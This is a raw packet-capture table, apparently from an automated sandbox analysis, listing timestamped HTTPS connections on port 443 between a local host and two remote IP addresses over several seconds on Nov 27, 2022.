Nov 27, 2022 04:37:27.217634916 CET	443	49764	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.218475103 CET	443	49764	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.218594074 CET	49764	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.219274044 CET	49764	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.219286919 CET	443	49764	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.269135952 CET	443	49764	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.269253969 CET	49764	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.269289970 CET	443	49764	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.270788908 CET	49764	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.291198015 CET	49764	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.291420937 CET	443	49764	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.291513920 CET	49764	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.340643883 CET	49765	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.340783119 CET	443	49765	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.340907097 CET	49765	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.341337919 CET	49765	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.341365099 CET	443	49765	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.341476917 CET	443	49765	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.505304098 CET	49766	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.505384922 CET	443	49766	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.505492926 CET	49766	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.513084888 CET	49766	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.513129950 CET	443	49766	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.539935112 CET	49767	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.539974928 CET	443	49767	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.540081978 CET	49767	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.540534973 CET	49767	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.540553093 CET	443	49767	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.540654898 CET	443	49767	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.564661980 CET	443	49766	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.564759016 CET	49766	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.577006102 CET	49766	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.577044964 CET	443	49766	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.577564955 CET	443	49766	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.578802109 CET	49766	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.579404116 CET	49766	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.579421043 CET	443	49766	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.669307947 CET	443	49766	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.669507027 CET	49766	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.669552088 CET	443	49766	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.669627905 CET	49766	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.669919968 CET	49766	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.670156002 CET	443	49766	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.670238018 CET	49766	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.678118944 CET	49768	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.678189993 CET	443	49768	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.678292036 CET	49768	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.678658962 CET	49768	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.678693056 CET	443	49768	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.678913116 CET	443	49768	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.798532009 CET	49769	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.798579931 CET	443	49769	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.798753023 CET	49769	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.799163103 CET	49769	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.799185038 CET	443	49769	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.799294949 CET	443	49769	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.968844891 CET	49770	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.968925953 CET	443	49770	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.969432116 CET	49771	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.969471931 CET	49770	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.969492912 CET	443	49771	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.969561100 CET	49771	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.969887018 CET	49770	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.969923019 CET	443	49770	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.969991922 CET	443	49770	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.971805096 CET	49771	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.971833944 CET	443	49771	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:28.018524885 CET	443	49771	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:28.018618107 CET	49771	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:28.091692924 CET	49771	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:28.091753006 CET	443	49771	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:28.092329025 CET	443	49771	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:28.092398882 CET	49771	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:28.095592976 CET	49771	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:28.095607042 CET	443	49771	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:28.154431105 CET	443	49771	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:28.154550076 CET	443	49771	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:28.154592991 CET	49771	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:28.154649019 CET	49771	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:28.183152914 CET	49771	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:28.183203936 CET	443	49771	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:28.384661913 CET	49772	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:28.384738922 CET	443	49772	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:28.386468887 CET	49772	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:28.612351894 CET	49772	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:28.612412930 CET	443	49772	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:28.612531900 CET	443	49772	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:29.010157108 CET	49773	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:29.010217905 CET	443	49773	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:29.010912895 CET	49773	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:29.011246920 CET	49773	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:29.011279106 CET	443	49773	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:29.011358023 CET	443	49773	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:29.011929035 CET	49774	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:29.011985064 CET	443	49774	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:29.012401104 CET	49774	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:29.145585060 CET	49774	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:29.145626068 CET	443	49774	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:29.193275928 CET	443	49774	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:29.193408012 CET	49774	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:29.227691889 CET	49774	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:29.227711916 CET	443	49774	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:29.231736898 CET	49774	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:29.231750965 CET	443	49774	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:29.299516916 CET	443	49774	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:29.299679041 CET	443	49774	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:29.299820900 CET	49774	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:29.300106049 CET	49774	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:30.080996990 CET	49774	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:30.081036091 CET	443	49774	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:31.787359953 CET	49775	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:31.787436008 CET	443	49775	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:31.787533998 CET	49775	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:31.787866116 CET	49775	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:31.787895918 CET	443	49775	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:31.787972927 CET	443	49775	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:31.918847084 CET	49776	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:31.918948889 CET	443	49776	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:31.919060946 CET	49776	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:31.919903040 CET	49776	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:31.919939041 CET	443	49776	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:31.969872952 CET	443	49776	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:31.970025063 CET	49776	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:31.998899937 CET	49776	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:31.998939037 CET	443	49776	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.005165100 CET	49776	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.005184889 CET	443	49776	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.016758919 CET	49777	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.016833067 CET	443	49777	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.016932964 CET	49777	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.017292023 CET	49777	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.017326117 CET	443	49777	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.017432928 CET	443	49777	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.071099043 CET	443	49776	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.071224928 CET	443	49776	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.071285009 CET	49776	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.075185061 CET	49776	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.109391928 CET	49776	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.109432936 CET	443	49776	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.227435112 CET	49778	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.227513075 CET	443	49778	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.227617025 CET	49778	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.230268955 CET	49778	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.230305910 CET	443	49778	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.256880045 CET	49779	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.256936073 CET	443	49779	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.257018089 CET	49779	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.257353067 CET	49779	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.257378101 CET	443	49779	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.257509947 CET	443	49779	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.279771090 CET	443	49778	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.279881001 CET	49778	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.320743084 CET	49778	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.320787907 CET	443	49778	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.324680090 CET	49778	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.324708939 CET	443	49778	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.382198095 CET	443	49778	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.382359982 CET	49778	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.382406950 CET	443	49778	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.382512093 CET	49780	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.382518053 CET	49778	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.382567883 CET	443	49780	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.382646084 CET	49780	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.382972956 CET	49780	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.382997990 CET	443	49780	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.383105993 CET	443	49780	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.409940004 CET	49778	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.410227060 CET	443	49778	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.410316944 CET	49778	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.522527933 CET	49781	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.522588015 CET	443	49781	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.522672892 CET	49781	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.522967100 CET	49781	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.522988081 CET	443	49781	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.523073912 CET	443	49781	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.568418980 CET	49782	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.568492889 CET	443	49782	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.568618059 CET	49782	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.571494102 CET	49782	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.571536064 CET	443	49782	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.620122910 CET	443	49782	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.620374918 CET	49782	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.634186983 CET	49782	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.634234905 CET	443	49782	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.635118008 CET	443	49782	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.635225058 CET	49782	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.635886908 CET	49782	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.635907888 CET	443	49782	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.647665977 CET	49783	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.647739887 CET	443	49783	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.647881031 CET	49783	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.648367882 CET	49783	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.648395061 CET	443	49783	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.648653984 CET	443	49783	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.720865965 CET	443	49782	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.721003056 CET	49782	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.721024990 CET	443	49782	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.721138954 CET	49782	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.722642899 CET	49782	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:32.722707033 CET	443	49782	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:32.899250984 CET	49784	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.899328947 CET	443	49784	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.899436951 CET	49784	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.969623089 CET	49784	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:32.969691038 CET	443	49784	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:32.969887972 CET	443	49784	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.112586021 CET	49785	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.112654924 CET	443	49785	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.112751961 CET	49785	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.114728928 CET	49785	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.114763021 CET	443	49785	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.116127014 CET	49786	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.116184950 CET	443	49786	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.116255999 CET	49786	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.116663933 CET	49786	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.116689920 CET	443	49786	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.116775990 CET	443	49786	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.160000086 CET	443	49785	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.160105944 CET	49785	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.186121941 CET	49785	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.186145067 CET	443	49785	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.203888893 CET	49785	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.203931093 CET	443	49785	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.241955996 CET	49787	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.242032051 CET	443	49787	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.243275881 CET	49787	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.243607998 CET	49787	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.243640900 CET	443	49787	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.243731976 CET	443	49787	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.294612885 CET	443	49785	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.294756889 CET	443	49785	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.294820070 CET	49785	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.294820070 CET	49785	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.301271915 CET	49785	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.301309109 CET	443	49785	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.424448967 CET	49788	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.424521923 CET	443	49788	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.424622059 CET	49788	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.442188978 CET	49788	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.442257881 CET	443	49788	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.442401886 CET	443	49788	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.567591906 CET	49789	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.567626953 CET	443	49789	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.567734957 CET	49789	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.568826914 CET	49789	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.568862915 CET	443	49789	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.620229959 CET	443	49789	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.620362997 CET	49789	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.636440992 CET	49789	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.636452913 CET	443	49789	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.640291929 CET	49789	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.640305042 CET	443	49789	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.647773981 CET	49790	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.647851944 CET	443	49790	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.648822069 CET	49790	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.649436951 CET	49790	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.649472952 CET	443	49790	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.649594069 CET	443	49790	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.722670078 CET	443	49789	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.722785950 CET	49789	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.722796917 CET	443	49789	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.723304987 CET	49789	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.744254112 CET	49789	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.744281054 CET	443	49789	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.902569056 CET	49791	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.902638912 CET	443	49791	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.902759075 CET	49791	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.903079987 CET	49791	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:33.903115034 CET	443	49791	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.903232098 CET	443	49791	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:33.991301060 CET	49792	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.991386890 CET	443	49792	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:33.991492987 CET	49792	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.997047901 CET	49792	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:33.997096062 CET	443	49792	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.046356916 CET	443	49792	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.046482086 CET	49792	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.057105064 CET	49792	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.057136059 CET	443	49792	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.061201096 CET	49792	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.061228991 CET	443	49792	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.085722923 CET	49793	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.085793018 CET	443	49793	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.085892916 CET	49793	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.086313009 CET	49793	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.086344004 CET	443	49793	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.086457014 CET	443	49793	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.149044991 CET	443	49792	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.149137020 CET	49792	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.149188995 CET	443	49792	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.149223089 CET	443	49792	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.149324894 CET	49792	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.149444103 CET	49792	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.160721064 CET	49792	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.160758018 CET	443	49792	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.413090944 CET	49794	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.413156986 CET	443	49794	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.413244963 CET	49794	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.415637970 CET	49794	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.415685892 CET	443	49794	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.415787935 CET	443	49794	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.533018112 CET	49795	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.533097982 CET	443	49795	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.533204079 CET	49795	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.534707069 CET	49795	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.534751892 CET	443	49795	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.569493055 CET	49796	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.569559097 CET	443	49796	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.570408106 CET	49796	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.570806026 CET	49796	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.570838928 CET	443	49796	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.570966959 CET	443	49796	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.583544016 CET	443	49795	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.583884001 CET	49795	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.587116003 CET	49795	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.587153912 CET	443	49795	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.591818094 CET	49795	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.591850996 CET	443	49795	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.684442997 CET	443	49795	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.684575081 CET	443	49795	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.684676886 CET	49795	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.697572947 CET	49795	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.697614908 CET	443	49795	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.698093891 CET	49797	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.698136091 CET	443	49797	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.698539972 CET	49797	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.698539972 CET	49797	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.698579073 CET	443	49797	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.698915005 CET	443	49797	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.852715015 CET	49798	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.852793932 CET	443	49798	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.852895975 CET	49798	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.853254080 CET	49798	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:34.853286982 CET	443	49798	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.853396893 CET	443	49798	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:34.892030954 CET	49799	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.892106056 CET	443	49799	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:34.892203093 CET	49799	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.892961025 CET	49799	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:34.893003941 CET	443	49799	172.66.43.60	192.168.2.5
